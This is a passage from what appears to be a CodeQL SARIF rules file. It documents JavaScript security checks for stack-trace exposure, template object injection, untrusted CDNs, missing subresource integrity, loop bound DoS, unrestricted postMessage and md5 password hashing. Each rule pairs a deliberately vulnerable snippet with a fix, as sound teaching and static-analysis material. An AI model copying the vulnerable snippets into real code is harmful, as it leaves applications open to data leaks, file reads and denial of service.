stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    res.end(err.stack); // NOT OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    log(\"Exception occurred\", err.stack);\n    res.end(\"An exception occurred\"); // OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n","markdown":"# Information exposure through a stack trace\nSoftware developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.\n\nUnfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack.\n\n\n## Recommendation\nSend the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.\n\n\n## Example\nIn the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information.\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    res.end(err.stack); // NOT OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\nInstead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information:\n\n\n```javascript\nvar http = require('http');\n\nhttp.createServer(function onRequest(req, res) {\n  var body;\n  try {\n    body = handleRequest(req);\n  }\n  catch (err) {\n    res.statusCode = 500;\n    res.setHeader(\"Content-Type\", \"text/plain\");\n    log(\"Exception occurred\", err.stack);\n    res.end(\"An exception occurred\"); // OK\n    return;\n  }\n  res.statusCode = 200;\n  res.setHeader(\"Content-Type\", \"application/json\");\n  res.setHeader(\"Content-Length\", body.length);\n  res.end(body);\n}).listen(3000);\n\n```\n\n## References\n* OWASP: [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling).\n* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html).\n* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html).\n"},"properties":{"tags":["security","external/cwe/cwe-209","external/cwe/cwe-497"],"description":"Propagating stack trace information to an external user can\n              unintentionally reveal implementation details that are useful\n              to an attacker for developing a subsequent exploit.","id":"js/stack-trace-exposure","kind":"path-problem","name":"Information exposure through a stack trace","precision":"very-high","problem.severity":"warning","security-severity":"5.4"}},{"id":"js/template-object-injection","name":"js/template-object-injection","shortDescription":{"text":"Template Object Injection"},"fullDescription":{"text":"Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', {\n        name: profile.name,\n        location: profile.location\n    });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n","markdown":"# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', {\n        name: profile.name,\n        location: profile.location\n    });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n"},"properties":{"tags":["security","external/cwe/cwe-073","external/cwe/cwe-094"],"description":"Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution.","id":"js/template-object-injection","kind":"path-problem","name":"Template Object Injection","precision":"high","problem.severity":"error","security-severity":"9.3"}},{"id":"js/functionality-from-untrusted-domain","name":"js/functionality-from-untrusted-domain","shortDescription":{"text":"Untrusted domain used in script or other content"},"fullDescription":{"text":"Using a resource from an untrusted or compromised domain makes your code vulnerable to receiving malicious code."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Untrusted domain used in script or other content\nContent Delivery Networks (CDNs) are used to deliver content to users quickly and efficiently. However, they can change hands or be operated by untrustworthy owners, risking the security of the sites that use them. Some CDN domains are operated by entities that have used CDNs to deliver malware, which this query identifies.\n\nFor example, `polyfill.io` was a popular JavaScript CDN, used to support new web browser standards on older browsers. In February 2024 the domain was sold, and in June 2024 it was publicised that the domain had been used to serve malicious scripts. It was taken down later in that month, leaving a window where sites that used the service could have been compromised. The same operator runs several other CDNs, undermining trust in those too.\n\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element) on a page, it is important to ensure that the received data is not malicious.\n\nEven when `https` is used, an untrustworthy operator might deliver malware.\n\nSee the \\[\\`CUSTOMIZING.md\\`\\](https://github.com/github/codeql/blob/main/javascript/ql/src/Security/CWE-830/CUSTOMIZING.md) file in the source code for this query for information on how to extend the list of untrusted domains used by this query.\n\n\n## Recommendation\nCarefully research the ownership of a Content Delivery Network (CDN) before using it in your application.\n\nIf you find code that originated from an untrusted domain in your application, you should review your logs to check for compromise.\n\nTo help mitigate the risk of including a script that could be compromised in the future, consider whether you need to use polyfill or another library at all. Modern browsers do not require a polyfill, and other popular libraries were made redundant by enhancements to HTML 5.\n\nIf you do need a polyfill service or library, move to using a CDN that you trust.\n\nWhen you use a `script` or `link` element, you should check for [subresource integrity (SRI)](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity), and pin to a hash of a version of the service that you can trust (for example, because you have audited it for security and unwanted features). A dynamic service cannot be easily used with SRI. Nevertheless, it is possible to list multiple acceptable SHA hashes in the `integrity` attribute, such as hashes for the content required for the major browsers used by your users.\n\nYou can also choose to self-host an uncompromised version of the service or library.\n\n\n## Example\nThe following example loads the Polyfill.io library from the `polyfill.io` CDN. This use was open to malicious scripts being served by the CDN.\n\n\n```html\n<html>\n    <head>\n        <title>Polyfill.io demo</title>\n        <script src=\"https://cdn.polyfill.io/v2/polyfill.min.js\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nInstead, load the Polyfill library from a trusted CDN, as in the next example:\n\n\n```html\n<html>\n    <head>\n        <title>Polyfill demo - Cloudflare hosted with pinned version (but no integrity checking, since it is dynamically generated)</title>\n        <script src=\"https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js?version=4.8.0\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nIf you know which browsers are used by the majority of your users, you can list the hashes of the polyfills for those browsers:\n\n\n```html\n<html>\n    <head>\n        <title>Polyfill demo - Cloudflare hosted with pinned version (with integrity checking for a *very limited* browser set - just an example!)</title>\n        <script src=\"https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js?version=4.8.0\" integrity=\"sha384-i0IGVuZBkKZqwXTD4CH4kcksIbFx7WKFMdxN8zUhLFHpLdELF0ym0jxa6UvLhW8/ sha384-3d4jRKquKl90C9aFG+eH4lPJmtbPHgACWHrp+VomFOxF8lzx2jxqeYkhpRg18UWC\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\n\n## References\n* Sansec: [Polyfill supply chain attack hits 100K+ sites](https://sansec.io/research/polyfill-supply-chain-attack)\n* Cloudflare: [Upgrade the web. Automatically. Delivers only the polyfills required by the user's web browser.](https://cdnjs.cloudflare.com/polyfill)\n* Fastly: [New options for Polyfill.io users](https://community.fastly.com/t/new-options-for-polyfill-io-users/2540)\n* Wikipedia: [Polyfill (programming)](https://en.wikipedia.org/wiki/Polyfill_(programming))\n* MDN Web Docs: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n","markdown":"# Untrusted domain used in script or other content\nContent Delivery Networks (CDNs) are used to deliver content to users quickly and efficiently. However, they can change hands or be operated by untrustworthy owners, risking the security of the sites that use them. Some CDN domains are operated by entities that have used CDNs to deliver malware, which this query identifies.\n\nFor example, `polyfill.io` was a popular JavaScript CDN, used to support new web browser standards on older browsers. In February 2024 the domain was sold, and in June 2024 it was publicised that the domain had been used to serve malicious scripts. It was taken down later in that month, leaving a window where sites that used the service could have been compromised. The same operator runs several other CDNs, undermining trust in those too.\n\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element) on a page, it is important to ensure that the received data is not malicious.\n\nEven when `https` is used, an untrustworthy operator might deliver malware.\n\nSee the \\[\\`CUSTOMIZING.md\\`\\](https://github.com/github/codeql/blob/main/javascript/ql/src/Security/CWE-830/CUSTOMIZING.md) file in the source code for this query for information on how to extend the list of untrusted domains used by this query.\n\n\n## Recommendation\nCarefully research the ownership of a Content Delivery Network (CDN) before using it in your application.\n\nIf you find code that originated from an untrusted domain in your application, you should review your logs to check for compromise.\n\nTo help mitigate the risk of including a script that could be compromised in the future, consider whether you need to use polyfill or another library at all. Modern browsers do not require a polyfill, and other popular libraries were made redundant by enhancements to HTML 5.\n\nIf you do need a polyfill service or library, move to using a CDN that you trust.\n\nWhen you use a `script` or `link` element, you should check for [subresource integrity (SRI)](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity), and pin to a hash of a version of the service that you can trust (for example, because you have audited it for security and unwanted features). A dynamic service cannot be easily used with SRI. Nevertheless, it is possible to list multiple acceptable SHA hashes in the `integrity` attribute, such as hashes for the content required for the major browsers used by your users.\n\nYou can also choose to self-host an uncompromised version of the service or library.\n\n\n## Example\nThe following example loads the Polyfill.io library from the `polyfill.io` CDN. This use was open to malicious scripts being served by the CDN.\n\n\n```html\n<html>\n    <head>\n        <title>Polyfill.io demo</title>\n        <script src=\"https://cdn.polyfill.io/v2/polyfill.min.js\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nInstead, load the Polyfill library from a trusted CDN, as in the next example:\n\n\n```html\n<html>\n    <head>\n        <title>Polyfill demo - Cloudflare hosted with pinned version (but no integrity checking, since it is dynamically generated)</title>\n        <script src=\"https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js?version=4.8.0\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nIf you know which browsers are used by the majority of your users, you can list the hashes of the polyfills for those browsers:\n\n\n```html\n<html>\n    <head>\n        <title>Polyfill demo - Cloudflare hosted with pinned version (with integrity checking for a *very limited* browser set - just an example!)</title>\n        <script src=\"https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js?version=4.8.0\" integrity=\"sha384-i0IGVuZBkKZqwXTD4CH4kcksIbFx7WKFMdxN8zUhLFHpLdELF0ym0jxa6UvLhW8/ sha384-3d4jRKquKl90C9aFG+eH4lPJmtbPHgACWHrp+VomFOxF8lzx2jxqeYkhpRg18UWC\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\n\n## References\n* Sansec: [Polyfill supply chain attack hits 100K+ sites](https://sansec.io/research/polyfill-supply-chain-attack)\n* Cloudflare: [Upgrade the web. Automatically. Delivers only the polyfills required by the user's web browser.](https://cdnjs.cloudflare.com/polyfill)\n* Fastly: [New options for Polyfill.io users](https://community.fastly.com/t/new-options-for-polyfill-io-users/2540)\n* Wikipedia: [Polyfill (programming)](https://en.wikipedia.org/wiki/Polyfill_(programming))\n* MDN Web Docs: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n"},"properties":{"tags":["security","external/cwe/cwe-830"],"description":"Using a resource from an untrusted or compromised domain makes your code vulnerable to receiving malicious code.","id":"js/functionality-from-untrusted-domain","kind":"problem","name":"Untrusted domain used in script or other content","precision":"high","problem.severity":"error","security-severity":"7.2"}},{"id":"js/functionality-from-untrusted-source","name":"js/functionality-from-untrusted-source","shortDescription":{"text":"Inclusion of functionality from an untrusted source"},"fullDescription":{"text":"Including functionality from an untrusted source may allow an attacker to control the functionality and execute arbitrary code."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity (SRI) checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\nA dynamic service cannot be easily used with SRI. Nevertheless, it is possible to list multiple acceptable SHA hashes in the `integrity` attribute, such as those for the content generated for major browers used by your users.\n\nSee the \\[\\`CUSTOMIZING.md\\`\\](https://github.com/github/codeql/blob/main/javascript/ql/src/Security/CWE-830/CUSTOMIZING.md) file in the source code for this query for information on how to extend the list of hostnames required to use SRI by this query.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"http://code.jquery.com/jquery-3.6.0.slim.min.js\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"https://code.jquery.com/jquery-3.6.0.slim.min.js\" integrity=\"sha256-u7e5khyithlIdTpu22PHhENmPcRdFiHRjhAuHcs05RI=\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n","markdown":"# Inclusion of functionality from an untrusted source\nIncluding a resource from an untrusted source or using an untrusted channel may allow an attacker to include arbitrary code in the response. When including an external resource (for example, a `script` element or an `iframe` element) on a page, it is important to ensure that the received data is not malicious.\n\nWhen including external resources, it is possible to verify that the responding server is the intended one by using an `https` URL. This prevents a MITM (man-in-the-middle) attack where an attacker might have been able to spoof a server response.\n\nEven when `https` is used, an attacker might still compromise the server. When you use a `script` element, you can check for subresource integrity - that is, you can check the contents of the data received by supplying a cryptographic digest of the expected sources to the `script` element. The script will only load sources that match the digest and an attacker will be unable to modify the script even when the server is compromised.\n\nSubresource integrity (SRI) checking is commonly recommended when importing a fixed version of a library - for example, from a CDN (content-delivery network). Then, the fixed digest of that version of the library can easily be added to the `script` element's `integrity` attribute.\n\nA dynamic service cannot be easily used with SRI. Nevertheless, it is possible to list multiple acceptable SHA hashes in the `integrity` attribute, such as those for the content generated for major browers used by your users.\n\nSee the \\[\\`CUSTOMIZING.md\\`\\](https://github.com/github/codeql/blob/main/javascript/ql/src/Security/CWE-830/CUSTOMIZING.md) file in the source code for this query for information on how to extend the list of hostnames required to use SRI by this query.\n\n\n## Recommendation\nWhen an `iframe` element is used to embed a page, it is important to use an `https` URL.\n\nWhen using a `script` element to load a script, it is important to use an `https` URL and to consider checking subresource integrity.\n\n\n## Example\nThe following example loads the jQuery library from the jQuery CDN without using `https` and without checking subresource integrity.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"http://code.jquery.com/jquery-3.6.0.slim.min.js\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\nInstead, loading jQuery from the same domain using `https` and checking subresource integrity is recommended, as in the next example.\n\n\n```html\n<html>\n    <head>\n        <title>jQuery demo</title>\n        <script src=\"https://code.jquery.com/jquery-3.6.0.slim.min.js\" integrity=\"sha256-u7e5khyithlIdTpu22PHhENmPcRdFiHRjhAuHcs05RI=\" crossorigin=\"anonymous\"></script>\n    </head>\n    <body>\n        ...\n    </body>\n</html>\n```\n\n## References\n* MDN: [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity)\n* Smashing Magazine: [Understanding Subresource Integrity](https://www.smashingmagazine.com/2019/04/understanding-subresource-integrity/)\n* Common Weakness Enumeration: [CWE-830](https://cwe.mitre.org/data/definitions/830.html).\n"},"properties":{"tags":["security","external/cwe/cwe-830"],"description":"Including functionality from an untrusted source may allow\n              an attacker to control the functionality and execute arbitrary code.","id":"js/functionality-from-untrusted-source","kind":"problem","name":"Inclusion of functionality from an untrusted source","precision":"high","problem.severity":"warning","security-severity":"6.0"}},{"id":"js/loop-bound-injection","name":"js/loop-bound-injection","shortDescription":{"text":"Loop bound injection"},"fullDescription":{"text":"Iterating over an object with a user-controlled .length property can cause indefinite looping."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10<sup>100</sup> iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n\n    var ret = [];\n\n    // Potential DoS if obj.length is large.\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n    \n    if (!(obj instanceof Array)) { // Prevents DoS.\n        return [];\n    }\n\n    var ret = [];\n\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n","markdown":"# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10<sup>100</sup> iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n\n    var ret = [];\n\n    // Potential DoS if obj.length is large.\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n    \n    if (!(obj instanceof Array)) { // Prevents DoS.\n        return [];\n    }\n\n    var ret = [];\n\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n"},"properties":{"tags":["security","external/cwe/cwe-834","external/cwe/cwe-730"],"description":"Iterating over an object with a user-controlled .length\n              property can cause indefinite looping.","id":"js/loop-bound-injection","kind":"path-problem","name":"Loop bound injection","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/cross-window-information-leak","name":"js/cross-window-information-leak","shortDescription":{"text":"Cross-window communication with unrestricted target origin"},"fullDescription":{"text":"When sending sensitive information to another window using `postMessage`, the origin of the target window should be restricted to avoid unintentional information leaks."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Cross-window communication with unrestricted target origin\nThe `window.postMessage` method allows different windows or iframes to communicate directly, even if they were loaded from different origins, circumventing the usual same-origin policy.\n\nThe sender of the message can restrict the origin of the receiver by specifying a target origin. If the receiver window does not come from this origin, the message is not sent.\n\nAlternatively, the sender can specify a target origin of `'*'`, which means that any origin is acceptable and the message is always sent.\n\nThis feature should not be used if the message being sent contains sensitive data such as user credentials: the target window may have been loaded from a malicious site, to which the data would then become available.\n\n\n## Recommendation\nIf possible, specify a target origin when using `window.postMessage`. Alternatively, encrypt the sensitive data before sending it to prevent an unauthorized receiver from accessing it.\n\n\n## Example\nThe following example code sends user credentials (in this case, their user name) to `window.parent` without checking its origin. If a malicious site loads the page containing this code into an iframe it would be able to gain access to the user name.\n\n\n```javascript\nwindow.parent.postMessage(userName, '*');\n\n```\nTo prevent this from happening, the origin of the target window should be restricted, as in this example:\n\n\n```javascript\nwindow.parent.postMessage(userName, 'https://github.com');\n\n```\n\n## References\n* Mozilla Developer Network: [Window.postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* Mozilla Developer Network: [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy).\n* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n","markdown":"# Cross-window communication with unrestricted target origin\nThe `window.postMessage` method allows different windows or iframes to communicate directly, even if they were loaded from different origins, circumventing the usual same-origin policy.\n\nThe sender of the message can restrict the origin of the receiver by specifying a target origin. If the receiver window does not come from this origin, the message is not sent.\n\nAlternatively, the sender can specify a target origin of `'*'`, which means that any origin is acceptable and the message is always sent.\n\nThis feature should not be used if the message being sent contains sensitive data such as user credentials: the target window may have been loaded from a malicious site, to which the data would then become available.\n\n\n## Recommendation\nIf possible, specify a target origin when using `window.postMessage`. Alternatively, encrypt the sensitive data before sending it to prevent an unauthorized receiver from accessing it.\n\n\n## Example\nThe following example code sends user credentials (in this case, their user name) to `window.parent` without checking its origin. If a malicious site loads the page containing this code into an iframe it would be able to gain access to the user name.\n\n\n```javascript\nwindow.parent.postMessage(userName, '*');\n\n```\nTo prevent this from happening, the origin of the target window should be restricted, as in this example:\n\n\n```javascript\nwindow.parent.postMessage(userName, 'https://github.com');\n\n```\n\n## References\n* Mozilla Developer Network: [Window.postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* Mozilla Developer Network: [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy).\n* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"},"properties":{"tags":["security","external/cwe/cwe-201","external/cwe/cwe-359"],"description":"When sending sensitive information to another window using `postMessage`,\n              the origin of the target window should be restricted to avoid unintentional\n              information leaks.","id":"js/cross-window-information-leak","kind":"path-problem","name":"Cross-window communication with unrestricted target origin","precision":"high","problem.severity":"error","security-severity":"4.3"}},{"id":"js/insufficient-password-hash","name":"js/insufficient-password-hash","shortDescription":{"text":"Use of password hash with insufficient computational effort"},"fullDescription":{"text":"Creating a hash of a password with low computational effort makes the hash vulnerable to password cracking attacks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Use of password hash with insufficient computational effort\nStoring cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords.\n\nA good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing.\n\n\n## Recommendation\nUse a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`.\n\n\n## Example\nIn the example below, the `md5` algorithm computes the hash of a password.\n\n\n```javascript\nconst crypto = require(\"crypto\");\nfunction hashPassword(password) {\n    var hasher = crypto.createHash('md5');\n    var hashed = hasher.update(password).digest(\"hex\"); // BAD\n    return hashed;\n}\n\n```\nThis is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm:\n\n\n```javascript\nconst bcrypt = require(\"bcrypt\");\nfunction hashPassword(password, salt) {\n  var hashed = bcrypt.hashSync(password, salt); // GOOD\n  return hashed;\n}\n\n```\n\n## References\n* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html).\n","markdown":"# Use of password hash with insufficient 